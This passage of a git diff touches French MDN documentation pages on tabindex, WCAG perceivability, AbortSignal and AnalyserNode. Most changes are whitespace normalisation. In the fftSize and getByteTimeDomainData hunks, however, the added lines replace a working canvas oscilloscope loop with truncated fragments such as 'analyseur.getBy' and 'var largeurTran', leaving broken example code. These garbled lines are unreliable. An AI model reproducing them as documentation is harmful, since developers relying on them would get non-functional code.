un élément `<a>`). En réalité, le comportement correct d'un menu est que le menu entier doit figurer une seule fois dans l'ordre de tabulation, et les flèches doivent être utilisées pour se déplacer de choix en choix au sein du menu. Ceci vaut également pour les autres contrôles de « navigation groupée » comme les vues arborescentes, tableaux et panneaux à onglets. -Il est à présent possible pour les auteurs HTML de faire les choses correctement. La manière de rendre ces contrôles compatibles avec les technologies d'assistance est détaillée dans : [ARIA : Applications riches Internet accessibles](fr/ARIA/Applications_riches_Internet_accessibles). +Il est à présent possible pour les auteurs HTML de faire les choses correctement. La manière de rendre ces contrôles compatibles avec les technologies d'assistance est détaillée dans : [ARIA : Applications riches Internet accessibles](fr/ARIA/Applications_riches_Internet_accessibles). -### La solution : modifier le comportement standard de `tabindex` +### La solution : modifier le comportement standard de `tabindex` Firefox 1.5 suit l'exemple de Microsoft Internet Explorer en étendant l'attribut `tabindex` pour permettre à n'importe quel élément d'obtenir ou non le focus. En suivant le [système d'IE pour `tabindex`](http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/tabindex.asp), il devient possible de permettre aux contrôles [DHTML](fr/DHTML), déjà accessibles au clavier dans IE, de l'être également dans Firefox 1.5. Les règles doivent subir quelques petites entorses afin de permettre aux auteurs de rendre leurs contrôles personnalisés accessibles. -Le tableau qui suit décrit le nouveau comportement de `tabindex` : +Le tableau qui suit décrit le nouveau comportement de `tabindex` : | Attribut `tabindex` | Focus disponible à la souris ou par JavaScript via `element.focus()` | Navigable avec tabulation | | ------------------------------------- | ----------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -55,7 +55,7 @@ Ceci peut être utile à réaliser si un contrôle personnalisé devient actif o #### Utilisation de `setTimeout` avec `element.focus()` pour donner le focus -N'utilisez pas `createEvent()`, `initEvent()` et `dispatchEvent()` pour donner le focus à un élément, parce que les évènements DOM `focus` sont seulement considérés comme informels — générés par le système après que quelque chose ait reçu le focus, mais pas réellement pour donner le focus. Le retardateur est nécessaire, tant dans IE que dans Firefox 1.5, pour empêcher les scripts de faire des choses étranges et inattendues si l'utilisateur clique sur des boutons ou d'autres contrôles. Concrètement, le code pour donner le focus à un élément ressemblera à quelque chose comme ceci : +N'utilisez pas `createEvent()`, `initEvent()` et `dispatchEvent()` pour donner le focus à un élément, parce que les évènements DOM `focus` sont seulement considérés comme informels — générés par le système après que quelque chose ait reçu le focus, mais pas réellement pour donner le focus. Le retardateur est nécessaire, tant dans IE que dans Firefox 1.5, pour empêcher les scripts de faire des choses étranges et inattendues si l'utilisateur clique sur des boutons ou d'autres contrôles. Concrètement, le code pour donner le focus à un élément ressemblera à quelque chose comme ceci : setTimeout("gFocusItem.focus();",0); // gFocusItem doit être une variable globale @@ -73,7 +73,7 @@ IE ne déclenchera pas les évènements `keypress` pour les touches non alphanum #### Empêcher les évènements clavier d'effectuer des fonctions du navigateur -Si une touche comme une flèche directionnelle est utilisée, empêchez le navigateur d'utiliser cette touche pour faire quelque chose d'autre (comme faire défiler la page) en utilisant un code similaire à ce qui suit : +Si une touche comme une flèche directionnelle est utilisée, empêchez le navigateur d'utiliser cette touche pour faire quelque chose d'autre (comme faire défiler la page) en utilisant un code similaire à ce qui suit : <span tabindex="-1" onkeydown="return handleKeyDown();"> diff --git a/files/fr/web/accessibility/understanding_wcag/index.md b/files/fr/web/accessibility/understanding_wcag/index.md index ba30a69747..1ea3245c6a 100644 --- a/files/fr/web/accessibility/understanding_wcag/index.md +++ b/files/fr/web/accessibility/understanding_wcag/index.md @@ -41,8 +41,8 @@ WCAG 2.1 comprend: - En savoir plus sur WCAG 2.1: - - Deque: [WCAG 2.1: Quelle est la suite des directives d'accessibilité](https://www.deque.com/blog/wcag-2-1-what-is-next-for-accessibility-guidelines/) - - TPG: [Directives pour l'Accessibilité des Contenus Web (WCAG) 2.1](https://developer.paciellogroup.com/blog/2018/06/web-content-accessibility-guidelines-wcag-2-1/) + - Deque: [WCAG 2.1: Quelle est la suite des directives d'accessibilité](https://www.deque.com/blog/wcag-2-1-what-is-next-for-accessibility-guidelines/) + - TPG: [Directives pour l'Accessibilité des Contenus Web (WCAG) 2.1](https://developer.paciellogroup.com/blog/2018/06/web-content-accessibility-guidelines-wcag-2-1/) ## Statut juridique diff --git a/files/fr/web/accessibility/understanding_wcag/perceivable/color_contrast/index.md b/files/fr/web/accessibility/understanding_wcag/perceivable/color_contrast/index.md index 819174941c..fd481ec1ab 100644 --- a/files/fr/web/accessibility/understanding_wcag/perceivable/color_contrast/index.md +++ b/files/fr/web/accessibility/understanding_wcag/perceivable/color_contrast/index.md @@ -101,7 +101,7 @@ div { } .mauvais { - background-color: #400064; + background-color: #400064; } ``` diff --git a/files/fr/web/accessibility/understanding_wcag/perceivable/index.md b/files/fr/web/accessibility/understanding_wcag/perceivable/index.md index 2802c59a02..f1ce8f89f6 100644 --- a/files/fr/web/accessibility/understanding_wcag/perceivable/index.md +++ b/files/fr/web/accessibility/understanding_wcag/perceivable/index.md @@ -16,7 +16,7 @@ translation_of: Web/Accessibility/Understanding_WCAG/Perceivable --- This article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the **Perceivable** principle of the Web Content Accessibility Guidelines (WCAG) 2.0 and 2.1. Perceivable states that users must be able to perceive it in some way, using one or more of their senses. -> **Note :** To read the W3C definitions for Perceivable and its guidelines and success criteria, see [Principle 1: Perceivable - Information and user interface components must be presentable to users in ways they can perceive.](https://www.w3.org/TR/WCAG21/#perceivable) +> **Note :** To read the W3C definitions for Perceivable and its guidelines and success criteria, see [Principle 1: Perceivable - Information and user interface components must be presentable to users in ways they can perceive.](https://www.w3.org/TR/WCAG21/#perceivable) ## Guideline 1.1 — Providing text alternatives for non-text content @@ -32,7 +32,7 @@ The key here is that text can be converted to other forms people with disabiliti </thead> <tbody> <tr> - <td colspan="1" rowspan="5">1.1.1 Provide text equivalents (A)</td> + <td colspan="1" rowspan="5">1.1.1 Provide text equivalents (A)</td> <td> All images that convey meaningful content should be given suitable alternative text. @@ -70,7 +70,7 @@ The key here is that text can be converted to other forms people with disabiliti </td> <td> <p> - See <a href="/fr/docs/Learn/Accessibility/HTML#Text_alternatives" + See <a href="/fr/docs/Learn/Accessibility/HTML#Text_alternatives" >Text alternatives</a > for static caption options, and @@ -111,7 +111,7 @@ The key here is that text can be converted to other forms people with disabiliti Decorative images should be implemented using CSS background images (see <a href="/fr/docs/Learn/CSS/Styling_boxes/Backgrounds">Backgrounds</a - >). If you have to include an image via an + >). If you have to include an image via an {{htmlelement("img")}} element, give it a blank alt (<code>alt=""</code>), otherwise screenreaders may try to read out the filepath, etc. @@ -150,7 +150,7 @@ Time-based media refers to multimedia with a duration, i.e. audio and video. Als video-only media (i.e. silent video). </td> <td> - See <a href="/fr/docs/Learn/Accessibility/Multimedia#Audio_transcripts" + See <a href="/fr/docs/Learn/Accessibility/Multimedia#Audio_transcripts" >Audio transcripts</a > for transcript information. No audio description tutorial available as @@ -193,7 +193,7 @@ Time-based media refers to multimedia with a duration, i.e. audio and video. Als full content from the audio alone. </td> <td> - See <a href="/fr/docs/Learn/Accessibility/Multimedia#Audio_transcripts" + See <a href="/fr/docs/Learn/Accessibility/Multimedia#Audio_transcripts" >Audio transcripts</a > for transcript information. No audio description tutorial available as @@ -206,7 +206,7 @@ Time-based media refers to multimedia with a duration, i.e. audio and video. Als You should provide synchronized captions for all live multimedia that contains audio (e.g. video conferences, live audio broadcasts.) </td> - <td> </td> + <td></td> </tr> <tr> <td colspan="1"> @@ -217,7 +217,7 @@ Time-based media refers to multimedia with a duration, i.e. audio and video. Als where the existing audio does not convey the full meaning expressed by the video. </td> - <td> </td> + <td></td> </tr> <tr> <td colspan="1"> @@ -227,7 +227,7 @@ Time-based media refers to multimedia with a duration, i.e. audio and video. Als An equivalent sign language video should be provided for any prerecorded content containing audio. </td> - <td> </td> + <td></td> </tr> <tr> <td colspan="1"> @@ -240,7 +240,7 @@ Time-based media refers to multimedia with a duration, i.e. audio and video. Als should be provided that includes inserted pauses (and audio descriptions). </td> - <td> </td> + <td></td> </tr> <tr> <td colspan="1"> @@ -253,7 +253,7 @@ Time-based media refers to multimedia with a duration, i.e. audio and video. Als content. </td> <td> - See <a href="/fr/docs/Learn/Accessibility/Multimedia#Audio_transcripts" + See <a href="/fr/docs/Learn/Accessibility/Multimedia#Audio_transcripts" >Audio transcripts</a > for transcript information. @@ -268,7 +268,7 @@ Time-based media refers to multimedia with a duration, i.e. audio and video. Als the content. </td> <td> - See <a href="/fr/docs/Learn/Accessibility/Multimedia#Audio_transcripts" + See <a href="/fr/docs/Learn/Accessibility/Multimedia#Audio_transcripts" >Audio transcripts</a > for transcript information. @@ -294,7 +294,7 @@ This guideline refers to the ability of content to be consumed by users in multi <td colspan="1" rowspan="1">1.3.1 Info and relationships (A)</td> <td> <p> - Any content structure — or visual relationship made between content — + Any content structure — or visual relationship made between content — can also be determined programmatically, or be inferred from text description. The main situations in which this is relevant are: </p> @@ -313,7 +313,7 @@ This guideline refers to the ability of content to be consumed by users in multi inferred even if you can't see the image. </li> <li> - Lists — if the order of list items is important, and ordered list + Lists — if the order of list items is important, and ordered list should be used ({{htmlelement("ol")}}). </li> </ul> @@ -390,7 +390,7 @@ This guideline refers to the ability of content to be consumed by users in multi </p> </div> </td> - <td> </td> + <td></td> </tr> <tr> <td colspan="1"> @@ -410,26 +410,25 @@ This guideline refers to the ability of content to be consumed by users in multi <p> <a href="https://www.w3.org/WAI/WCAG21/Understanding/orientation.html" >Understanding Orientation</a - > + > </p> </td> </tr> <tr> <td colspan="1"> - 1.3.5 Identify Input Purpose (AA) <em + 1.3.5 Identify Input Purpose (AA) <em ><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1" >added in 2.1</a ></em > </td> <td> - <p> </p> <p> Follow the list of <a href="https://www.w3.org/TR/WCAG21/#input-purposes" >53 input fields</a > - to programmatically identify the purpose of a field. + to programmatically identify the purpose of a field. </p> </td> <td> @@ -441,7 +440,7 @@ This guideline refers to the ability of content to be consumed by users in multi </tr> <tr> <td colspan="1"> - 1.3.6 Identify Purpose (AAA) <em + 1.3.6 Identify Purpose (AAA) <em ><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1" >added in 2.1</a ></em @@ -547,7 +546,7 @@ This guideline relates to making sure core content is easy to discernable from b This means that designs should be responsive, so that when the text size is increased, the content is still accessible. </td> - <td> </td> + <td></td> </tr> <tr> <td colspan="1">1.4.5 Images of text (AA)</td> @@ -556,7 +555,7 @@ This guideline relates to making sure core content is easy to discernable from b job. For example, if an image is mostly textual, it could be represented using text as well as images. </td> - <td> </td> + <td></td> </tr> <tr> <td colspan="1">1.4.6 Enhanced contrast (AAA)</td> @@ -587,7 +586,7 @@ This guideline relates to making sure core content is easy to discernable from b Prerecorded audio recordings that primarily feature speech should have minimal background noise, so the content can be easily understood. </td> - <td> </td> + <td></td> </tr> <tr> <td colspan="1">1.4.8 Visual presentation (AAA)</td> @@ -615,7 +614,7 @@ This guideline relates to making sure core content is easy to discernable from b </li> </ul> </td> - <td> </td> + <td></td> </tr> <tr> <td colspan="1">1.4.9 Images of text (No Exception) (AAA)</td> @@ -624,11 +623,11 @@ This guideline relates to making sure core content is easy to discernable from b decoration (i.e. it does not convey any content), or cannot be presented in any other way. </td> - <td> </td> + <td></td> </tr> <tr> <td colspan="1"> - 1.4.10 Reflow (AA) <em + 1.4.10 Reflow (AA) <em ><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1" >added in 2.1</a ></em @@ -638,7 +637,7 @@ This guideline relates to making sure core content is easy to discernable from b <ul> <li> No horizontal scrolling for right-to-left languages (like English) - or left-to-right languages (like Arabic) + or left-to-right languages (like Arabic) </li> <li> No vertical scrolling for top-to-bottom languages (like Japanese) @@ -657,7 +656,7 @@ This guideline relates to making sure core content is easy to discernable from b </tr> <tr> <td colspan="1"> - 1.4.11 Non-Text Contrast(AA) <em + 1.4.11 Non-Text Contrast(AA) <em ><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1" >added in 2.1</a ></em @@ -665,7 +664,7 @@ This guideline relates to making sure core content is easy to discernable from b </td> <td> Minimum color contrast ratio of 3 to 1 for user interface components and - graphical objects. + graphical objects. </td> <td> <a @@ -676,7 +675,7 @@ This guideline relates to making sure core content is easy to discernable from b </tr> <tr> <td colspan="1"> - 1.4.12 Text Spacing (AA) <em + 1.4.12 Text Spacing (AA) <em ><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1" >added in 2.1</a ></em @@ -685,7 +684,7 @@ This guideline relates to making sure core content is easy to discernable from b <td> <p> No loss of content or functionality occurs when the following styles - are applied: + are applied: </p> <ul> <li> @@ -708,7 +707,7 @@ This guideline relates to making sure core content is easy to discernable from b </tr> <tr> <td colspan="1"> - 1.4.13 Content on Hover or Focus (AA) <em + 1.4.13 Content on Hover or Focus (AA) <em ><a href="https://www.w3.org/TR/WCAG21/#new-features-in-wcag-2-1" >added in 2.1</a ></em @@ -724,7 +723,7 @@ This guideline relates to making sure core content is easy to discernable from b <li>dismissable (can be closed/removed)</li> <li> hoverable (the additional content does not disappear when the - pointer is over it) + pointer is over it) </li> <li> persistent (the additional content does not disappear without user diff --git a/files/fr/web/api/abortsignal/index.md b/files/fr/web/api/abortsignal/index.md index e45e67e308..7da599f489 100644 --- a/files/fr/web/api/abortsignal/index.md +++ b/files/fr/web/api/abortsignal/index.md @@ -35,7 +35,7 @@ Dans l'extrait suivant, nous visons à télécharger une vidéo en utilisant l'[ Tout d'abord, nous créons un contrôleur en utilisant le constructeur {{domxref("AbortController.AbortController","AbortController()")}}, puis nous saisissons une référence associée à son objet {{domxref("AbortSignal")}} au moyen de la propriété {{domxref("AbortController.signal")}}. -Lorsque la [requête fetch](/fr/docs/Web/API/GlobalFetch/fetch) (_extraction_) est lancée, nous transmettons le paramètre `AbortSignal` en tant qu'option dans l'objet d'options de la requête (voir `{signal}` ci-dessous). Cela associe le signal et le contrôleur à la requête d'extraction et nous permet de l'annuler en appelant {{domxref("AbortController.abort()")}}, comme indiqué ci-dessous dans le second écouteur d'événements. +Lorsque la [requête fetch](/fr/docs/Web/API/GlobalFetch/fetch) (_extraction_) est lancée, nous transmettons le paramètre `AbortSignal` en tant qu'option dans l'objet d'options de la requête (voir `{signal}` ci-dessous). Cela associe le signal et le contrôleur à la requête d'extraction et nous permet de l'annuler en appelant {{domxref("AbortController.abort()")}}, comme indiqué ci-dessous dans le second écouteur d'événements. ```js var controller = new AbortController(); @@ -56,8 +56,8 @@ function fetchVideo() { fetch(url, {signal}).then(function(response) { ... }).catch(function(e) { - reports.textContent = 'Download error: ' + e.message; - }) + reports.textContent = 'Download error: ' + e.message; + }) } ``` diff --git a/files/fr/web/api/analysernode/analysernode/index.md b/files/fr/web/api/analysernode/analysernode/index.md index 1b030e1dbf..698ec6b96b 100644 --- a/files/fr/web/api/analysernode/analysernode/index.md +++ b/files/fr/web/api/analysernode/analysernode/index.md @@ -22,7 +22,7 @@ Le constructeur **`AnalyserNode`** crée un nouvel objet {{domxref("AnalyserNode - `fftSize`: taille initiale sde la FFT pour l'analyse du domaine fréquentiel . La valeur par défaut est 2048. - `maxDecibels`: valeur maximale de puissance de la plage pour l'analyse FFT, en décibels. La valeur par défaut est -30. - `minDecibels`: valeur minimale de puissance de la plage pour l'analyse FFT, en décibels. La valeur par défaut est -100. - - `smoothingTimeConstant`: valeur de lissage pour l'analyse FFT. La valeur par défaut est 0.8 + - `smoothingTimeConstant`: valeur de lissage pour l'analyse FFT. La valeur par défaut est 0.8 ## Spécifications diff --git a/files/fr/web/api/analysernode/fftsize/index.md b/files/fr/web/api/analysernode/fftsize/index.md index 8016e057f1..1c06163251 100644 --- a/files/fr/web/api/analysernode/fftsize/index.md +++ b/files/fr/web/api/analysernode/fftsize/index.md @@ -25,7 +25,7 @@ Un nombre entier non signé. ## Exemple -L'exemple suivant montre comment créer simplement un `AnalyserNode` avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lines 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). +L'exemple suivant montre comment créer simplement un `AnalyserNode` avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lines 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). ```js var contexteAudio = new (window.AudioContext || window.webkitAudioContext)(); @@ -42,47 +42,47 @@ analyseur.getByteTimeDomainData(tableauDonnees); function dessiner() { - dessin = requestAnimationFrame(dessiner); - - analyseur.getByteTimeDomainData(tableauDonnees); - - contexteCanvas.fillStyle = 'rgb(200, 200, 200)'; - contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR); - - contexteCanvas.lineWidth = 2; - contexteCanvas.strokeStyle = 'rgb(0, 0, 0)'; - - contexteCanvas.beginPath(); - - var largeurTranche = LARGEUR * 1.0 / tailleMemoireTampon; - var x = 0; - - for(var i = 0; i < tailleMemoireTampon; i++) { - - var v = tableauDonnees[i] / 128.0; - var y = v * HAUTEUR/2; - - if(i === 0) { - contexteCanvas.moveTo(x, y); - } else { - contexteCanvas.lineTo(x, y); - } - - x += largeurTranche; - } - - contexteCanvas.lineTo(canvas.width, canvas.height/2); - contexteCanvas.stroke(); - }; - - dessiner(); + dessin = requestAnimationFrame(dessiner); + + analyseur.getBy + + contexteCanvas. + contexte + + contexteCanvas. + cont + + contexteCanvas.beginPa + + var largeurTran + v + + for(var i = 0; i < tailleMemo + + var v = + + + + + + contexteCanvas.lin + + + + + + c + contexteCanvas.stroke(); + }; + + dessiner(); ``` ## Spécifications | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AnalyserNode-fftSize', 'fftSize')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AnalyserNode-fftSize', 'fftSize')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/analysernode/frequencybincount/index.md b/files/fr/web/api/analysernode/frequencybincount/index.md index 003229afbe..59be1b7129 100644 --- a/files/fr/web/api/analysernode/frequencybincount/index.md +++ b/files/fr/web/api/analysernode/frequencybincount/index.md @@ -21,7 +21,7 @@ Un nombre entier non signé. ## Example -L'exemple suivant montre comment créer simplement un `AnalyserNode` avec [`AudioContext`](/fr/docs/Web/API/AudioContext), puis utiliser [`requestAnimationFrame`](/fr/docs/Web/API/Window/requestAnimationFrame) et [`<canvas>`](/fr/docs/Web/HTML/Element/canvas) pour collecter les données temporelles et dessiner un oscilloscopeen sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lines 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). +L'exemple suivant montre comment créer simplement un `AnalyserNode` avec [`AudioContext`](/fr/docs/Web/API/AudioContext), puis utiliser [`requestAnimationFrame`](/fr/docs/Web/API/Window/requestAnimationFrame) et [`<canvas>`](/fr/docs/Web/HTML/Element/canvas) pour collecter les données temporelles et dessiner un oscilloscopeen sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lines 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). ```js var contexteAudio = new (window.AudioContext || window.webkitAudioContext)(); @@ -39,25 +39,25 @@ var tableauDonnees = new Uint8Array(tailleMemoireTampon); contexteCanvas.clearRect(0, 0, LARGEUR, HAUTEUR); function dessiner() { - dessin = requestAnimationFrame(dessiner); + dessin = requestAnimationFrame(dessiner); - analyseur.getByteFrequencyData(tableauDonnees); + analyseur.getByteFrequencyData(tableauDonnees); - contexteCanvas.fillStyle = 'rgb(0, 0, 0)'; - contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR); + contexteCanvas.fillStyle = 'rgb(0, 0, 0)'; + contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR); - var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5 - 1; - var hauteurBarre; - var x = 0; + var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5 - 1; + var hauteurBarre; + var x = 0; - for(var i = 0; i < tailleMemoireTampon; i++) { - hauteurBarre = tableauDonnees[i]; - - contexteCanvas.fillStyle = 'rgb(' + (hauteurBarre+100) + ',50,50)'; - contexteCanvas.fillRect(x,HAUTEUR-hauteurBarre/2,largeurBarre,hauteurBarre/2); - - x += largeurBarre; - } + for(var i = 0; i < tailleMemoireTampon; i++) { + hauteurBarre = tableauDonnees[i]; + + contexteCanvas.fillStyle = 'rgb(' + (hauteurBarre+100) + ',50,50)'; + contexteCanvas.fillRect(x,HAUTEUR-hauteurBarre/2,largeurBarre,hauteurBarre/2); + + x += largeurBarre; + } }; dessiner(); @@ -67,7 +67,7 @@ dessiner(); | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------ | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AnalyserNode-frequencyBinCount', 'frequencyBinCount')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AnalyserNode-frequencyBinCount', 'frequencyBinCount')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/analysernode/getbytefrequencydata/index.md b/files/fr/web/api/analysernode/getbytefrequencydata/index.md index 13b054ee57..a41964d7fd 100644 --- a/files/fr/web/api/analysernode/getbytefrequencydata/index.md +++ b/files/fr/web/api/analysernode/getbytefrequencydata/index.md @@ -28,7 +28,7 @@ Un {{domxref("Uint8Array")}}. ## Exemple -L'exemple suivant montre comment créer simplement un `AnalyserNode` avec [`AudioContext`](/fr/docs/Web/API/AudioContext), puis utiliser [`requestAnimationFrame`](/fr/docs/Web/API/Window/requestAnimationFrame) et [`<canvas>`](/fr/docs/Web/HTML/Element/canvas) pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lines 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). +L'exemple suivant montre comment créer simplement un `AnalyserNode` avec [`AudioContext`](/fr/docs/Web/API/AudioContext), puis utiliser [`requestAnimationFrame`](/fr/docs/Web/API/Window/requestAnimationFrame) et [`<canvas>`](/fr/docs/Web/HTML/Element/canvas) pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lines 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). ```js var contexteAudio = new (window.AudioContext || window.webkitAudioContext)(); @@ -44,25 +44,25 @@ var tableauDonnees = new Uint8Array(tailleMemoireTampon); contexteCanvas.clearRect(0, 0, LARGEUR, HAUTEUR); function dessiner() { - dessin = requestAnimationFrame(dessiner); + dessin = requestAnimationFrame(dessiner); - analyseur.getByteFrequencyData(tableauDonnees); + analyseur.getByteFrequencyData(tableauDonnees); - contexteCanvas.fillStyle = 'rgb(0, 0, 0)'; - contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR); + contexteCanvas.fillStyle = 'rgb(0, 0, 0)'; + contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR); - var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5; - var hauteurBarre; - var x = 0; + var largeurBarre = (LARGEUR / tailleMemoireTampon) * 2.5; + var hauteurBarre; + var x = 0; - for(var i = 0; i < tailleMemoireTampon; i++) { - hauteurBarre = tableauDonnees[i]; - - contexteCanvas.fillStyle = 'rgb(' + (hauteurBarre+100) + ',50,50)'; - contexteCanvas.fillRect(x,HAUTEUR-hauteurBarre/2,largeurBarre,hauteurBarre/2); - - x += largeurBarre + 1; - } + for(var i = 0; i < tailleMemoireTampon; i++) { + hauteurBarre = tableauDonnees[i]; + + contexteCanvas.fillStyle = 'rgb(' + (hauteurBarre+100) + ',50,50)'; + contexteCanvas.fillRect(x,HAUTEUR-hauteurBarre/2,largeurBarre,hauteurBarre/2); + + x += largeurBarre + 1; + } }; dessiner(); @@ -77,7 +77,7 @@ dessiner(); | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AnalyserNode-getByteFrequencyData-void-Uint8Array-array', 'getByteFrequencyData()')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AnalyserNode-getByteFrequencyData-void-Uint8Array-array', 'getByteFrequencyData()')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/analysernode/getbytetimedomaindata/index.md b/files/fr/web/api/analysernode/getbytetimedomaindata/index.md index 7d1f2801af..38997fa346 100644 --- a/files/fr/web/api/analysernode/getbytetimedomaindata/index.md +++ b/files/fr/web/api/analysernode/getbytetimedomaindata/index.md @@ -28,7 +28,7 @@ Un tableau {{domxref("Uint8Array")}}. ## Exemple -L'exemple suivant montre comment créer simplement un `AnalyserNode` avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](https://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lignes 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). +L'exemple suivant montre comment créer simplement un `AnalyserNode` avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](https://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lignes 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). ```js var contexteAudio = new (window.AudioContext || window.webkitAudioContext)(); @@ -45,40 +45,40 @@ analyseur.getByteTimeDomainData(tableauDonnees); function dessiner() { - dessin = requestAnimationFrame(dessiner); - - analyseur.getByteTimeDomainData(tableauDonnees); - - contexteCanvas.fillStyle = 'rgb(200, 200, 200)'; - contexteCanvas.fillRect(0, 0, LARGEUR, HAUTEUR); - - contexteCanvas.lineWidth = 2; - contexteCanvas.strokeStyle = 'rgb(0, 0, 0)'; - - contexteCanvas.beginPath(); - - var largeurBarre = WIDTH * 1.0 / tailleMemoireTampon; - var x = 0; - - for(var i = 0; i < tailleMemoireTampon; i++) { - - var v = tableauDonnees[i] / 128.0; - var y = v * HAUTEUR/2; - - if(i === 0) { - contexteCanvas.moveTo(x, y); - } else { - contexteCanvas.lineTo(x, y); - } - - x += largeurBarre; - } - - contexteCanvas.lineTo(canvas.width, canvas.height/2); - contexteCanvas.stroke(); - }; - - dessiner(); + dessin = requestAnimationFrame(dessiner); + + analyseur.getBy + + contexteCanvas. + contexte + + contexteCanvas. + cont + + contexteCanvas.begin + + var largeurBarr + v + + for(var i = 0; i < tailleMemo + + var v = + + + + + + contexteCanvas.l + + + + + + c + contexteCanvas.stroke(); + }; + + dessiner(); ``` ## Paramètres @@ -90,7 +90,7 @@ function dessiner() { | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#widl-AnalyserNode-getByteTimeDomainData-void-Uint8Array-array', 'getByteTimeDomainData()')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#widl-AnalyserNode-getByteTimeDomainData-void-Uint8Array-array', 'getByteTimeDomainData()')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/analysernode/getfloatfrequencydata/index.md b/files/fr/web/api/analysernode/getfloatfrequencydata/index.md index 0cc626b2f2..9c33179bb1 100644 --- a/files/fr/web/api/analysernode/getfloatfrequencydata/index.md +++ b/files/fr/web/api/analysernode/getfloatfrequencydata/index.md @@ -33,7 +33,7 @@ analyseur.getByteTimeDomainData(tableauDonnees); ## Exemple -L'exemple suivant montre comment créer simplement un `AnalyserNode` avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) (et en particulier [app.js lignes 128–205](https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205)). +L'exemple suivant montre comment créer simplement un `AnalyserNode` avec {{domxref("AudioContext")}}, puis utiliser {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} et {{htmlelement("canvas")}} pour collecter les données temporelles et dessiner un oscilloscope en sortie. Pour des exemples plus complets, voir notre démo [Voice-change-O-matic](http://mdn.github.io/voice-change-o-matic/) (et en particulier 